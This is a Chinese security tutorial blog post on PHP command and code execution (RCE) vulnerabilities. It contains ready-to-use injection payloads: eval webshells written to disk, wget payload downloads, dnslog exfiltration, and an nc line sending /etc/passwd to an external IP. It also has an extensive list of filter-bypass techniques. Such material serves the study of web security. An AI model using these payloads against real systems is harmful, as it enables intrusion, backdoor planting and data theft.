RCE

漏洞原理

代码、命令执行漏洞又叫 RCE 漏洞,其是指攻击者可直接在服务器上执行代码或系统命令。

该漏洞的形式有很多,比如文件包含漏洞可导致远程代码执行,反序列化漏洞导致远程命令执行,这最终都可以算作 RCE 漏洞。

不过这里只单单讲一下,因为后端提供执行代码、命令的服务而导致的 RCE,其实就是后端使用了代码执行、命令执行的函数,函数参数用户可控且过滤的不严谨,导致可执行任意代码或命令。

漏洞分类

  • 远程代码执行
  • 远程命令执行

漏洞函数

命令执行

函数 描述
system(args) 有回显,输出并返回最后一行shell结果
passthru(args) 有回显,显示原始输出
exec(args) 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
shell_exec(args) 无回显-必须输出
popen(command,mode) 无回显

代码执行

  • eval
  • assert
  • preg_replace
  • create_function
  • array_map
  • eval

漏洞利用

这两个漏洞的利用方式其实可以看做一种,因为代码执行也可以使用命令执行的函数来达到命令执行的效果。

区分其分类的只是操作漏洞的函数不同。

命令链接符

Linux

符号 作用
分号 ; 先执行前面的命令再执行后面的命令。
管道符 | 显示后面的执行结果。
后台任务符号 & 先执行前面的命令再执行后面的命令。
逻辑与 && 前面的命令执行成功后,它后面的命令才被执行。
逻辑或 || 只有 || 前面的命令执行失败后,它后面的命令才被执行。
反引号 ` 当一个命令被解析时,它首先会执行反引号之间的操作。`
$(command) $(command) 这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。

windows

符号 作用
后台任务符号 & 先执行前面的命令再执行后面的命令。
逻辑与 && 前面的命令执行成功后,它后面的命令才被执行。
管道符 | 显示后面的执行结果。
逻辑或 || 只有 || 前面的命令执行失败后,它后面的命令才被执行。

无回显

检测

  • sleep 延时
  • http 请求
  • dnslog

利用

反弹Shell

http://www.bu8ug.com/index.php/other/shell-base64/

文件写入
1
2
3
4
127.0.0.1 | echo '<?php @eval($_POST[cmd]);?>' >shell.php
127.0.0.1 | echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
127.0.0.1 | net user > 1.txt
127.0.0.1 | ipconfig >> 1.txt
外部下载
1
2
wget http://ip/ping.txt > shell.php
wget http://ip/ping.txt -O shell.php
外带数据
1
2
3
4
5
6
# dnslog
127.0.0.1 | curl `whoami`.3og80l.dnslog.cn
127.0.0.1 | ping `whoami`.3og80l.dnslog.cn
# nc 外带
nc -lvp 8000
127.0.0.1 | nc 43.140.192.244 8000 < /etc/passwd

过滤绕过

  • 过滤空格
  • 黑名单过滤
  • 文件名过滤

过滤空格

1
2
3
4
5
6
7
8
9
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09

黑名单

命令拼接
1
2
3
4
5
6
a=who;b=ami;$a$b //命令拼接
//set命令(windows)
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
反斜线绕过
1
wh\o\ami
引号绕过
1
2
3
who"a"mi
whoa'm'i
whoam``i
编码绕过
1
2
3
4
echo d2hvYW1p|base64 -d|sh	  #base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash #base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
特殊字符绕过
1
2
3
4
5
//$*和$@$x(x 代表 1-9),${x}(x>=10) 
//比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
字符夹命令
1
2
666`whoami`666		//bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
命令夹字符
1
2
3
w`f1hgb`ho`f1hgb`am`f1hgb`i		//反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接8.同义函数
同义命令
1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
通配符绕过

?代表一个字符 代表一串字符

1
2
3
/???/?[a][t] ?''?''?''?''
/???/?at flag
/???/?at ????
内敛执行绕过
1
2
3
`命令`和$(命令)都是执行命令的方式
echo "xx`pwd`"
echo "xx$(pwd)"
命令截断
1
2
3
4
5
6
7
8
9
10
linux中:%0a 、%0d 、; 、& 、| 、&&、||
// %0a这些需要再get中写入,否则会被二次编码
windows中:%0a、&、|、%1a、%26
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行

set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功

绕过文件名

1
2
3
4
5
6
7
8
9
10
cat fl[abc]g.php								 //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行

//正则
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd

漏洞修复

  • 尽量不适应执行命令的函数,使用的话将参数写死
  • 参数过滤,加转义符

RCE
https://liancccc.github.io/2024/03/15/技术/TOP10/RCE/
作者
守心
发布于
2024年3月15日
许可协议